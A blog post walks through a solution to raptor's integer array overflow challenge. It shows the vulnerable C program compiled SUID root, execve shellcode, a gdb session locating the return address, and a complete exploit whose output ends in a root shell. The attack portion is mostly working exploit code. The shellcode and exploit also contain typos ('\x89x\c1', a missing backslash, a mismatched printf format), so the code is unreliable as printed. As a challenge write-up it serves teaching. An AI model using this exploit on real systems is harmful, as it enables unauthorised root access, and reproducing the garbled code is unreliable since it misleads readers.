xorl %eax, %eax

raptor’s Integer Overflow No. 1

with 4 comments

raptor made some really interesting challenges a couple of years ago, I decided to start discussing them. I’m starting from integer overflows since they are probably the most easy to understand. So, here is the first one:

/*
 * $Id: int1.c,v 1.1.1.1 2004/05/29 14:15:05 raptor Exp $
 *
 * int1.c - vulnerable program (int/short array overflows)
 * Copyright (c) 2003 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * See http://fakehalo.deadpig.org/IAO-paper.txt, by vade79/v9.
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void place_int_array(int slot, int value)
{
    int array[32];

    array[slot] = value;    /* the overwrite itself */
    printf("filled slot %d with %d.\n", slot, value);

    return;
}

int main(int argc, char **argv)
{
    if (argc != 3)
        printf("syntax: %s [slot] [value]\n", argv[0]);
    else
        place_int_array(atoi(argv[1]), atoi(argv[2]));

    exit(0);
}

It is really simple, we control both the index (slot) and the value. Also, as you already know, integers are 4 bytes on 32bit CPUs and addresses are also 4 bytes. This means that we can overflow the index to point to the location of the stored EIP register (ret) and replace this address with the address of our shellcode to gain control over the execution flow. To make the achievement even more interesting I’m going to compile this as a SUID root binary. So, the final version is this:

sh-3.2$ ls -l int1
-rwsr-sr-x 1 root root 6583 2009-01-04 19:27 int1
sh-3.2$

Next, the shellcode I decided to use is a really simple setreuid(geteuid(), geteuid()) and a /bin/bash execve(), nothing notable. Here is the shellcode:

char shell[] =
"\x6a\x31\x58\xcd\x80\x89\xc3\x89x\c1\x6a\x46\x58\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

Now the last important milestone is the return address calculation. I think that the most efficient and straightforward for this kind of bugs method would be the exact stack address calculation introduced by Netric. You know the classic: 0xbffffffa – strlen(file) – strlen(shellcode); At last, we have to find where ret is, this is really simple…

sh-3.2$ gdb -q ./int1
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) run 33 111
Starting program: /home/xorl/int1 33 111
filled slot 33 with 111.

Program received signal SIGSEGV, Segmentation fault.
0x0000006f in ?? ()
(gdb) print "%d\n", 0x6f
$1 = 111
(gdb)

We have everything we may need, the shellcode, the return address location, the index we have to overwrite. Here is my final exploit:

#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define INDEX "33"
#define FNAME "./int1"

char sc[] =
"\x6a\x31\x58\xcd\x80\x89\xc3\x89x\c1\x6a\x46\x58\xcd\x80"
"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

int
main(void)
{
    int ret = 0xbffffffa - strlen(FNAME) - strlen(sc);
    printf("[*] return address:t %p\n", ret);

    char val[11];
    sprintf(val, "%d", ret);
    printf("[*] integer value:\t %d\n", val);
    printf("[*] index number:\t %s\n", INDEX);

    char *envp[2] = {sc, NULL};
    char *args[4] = {FNAME, INDEX, val, NULL};
    execve(FNAME, args, envp);
    return 0;
}

And it seems to be working :)

sh-3.2$ gcc xint.c -o xint
sh-3.2$ ./xint
[*] return address:      0xbfffffcf
[*] integer value:       -1073744667
[*] index number:        33
filled slot 33 with -1073741873.
sh-3.2# id -u
0
sh-3.2#

Hope you like it! :D

Written by xorl

January 4, 2009 at 17:53

4 Responses

Subscribe to comments with RSS.

  1. LOLORLY

    s

    July 17, 2009 at 01:25

  2. It’s an integer array overflow, you said an integer overflow. There is a difference between them. Am I right?

    anderson

    March 19, 2010 at 13:50

  3. @anderson: In an integer array overflow you have control over the index value which means that you can make the array access an invalid memory location. On the other hand, an integer overflow is simply an integer variable that incorrectly overflows and wraps around zero. An integer overflow doesn’t always lead to invalid memory access. For example, consider an integer used as a counter which is overflowed. I hope my answer helped you.

    xorl

    April 1, 2010 at 13:07

  4. I meant that. : ) It’s just for answer my own questions. Thanks xorl.

    anderson

    April 1, 2010 at 21:57


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s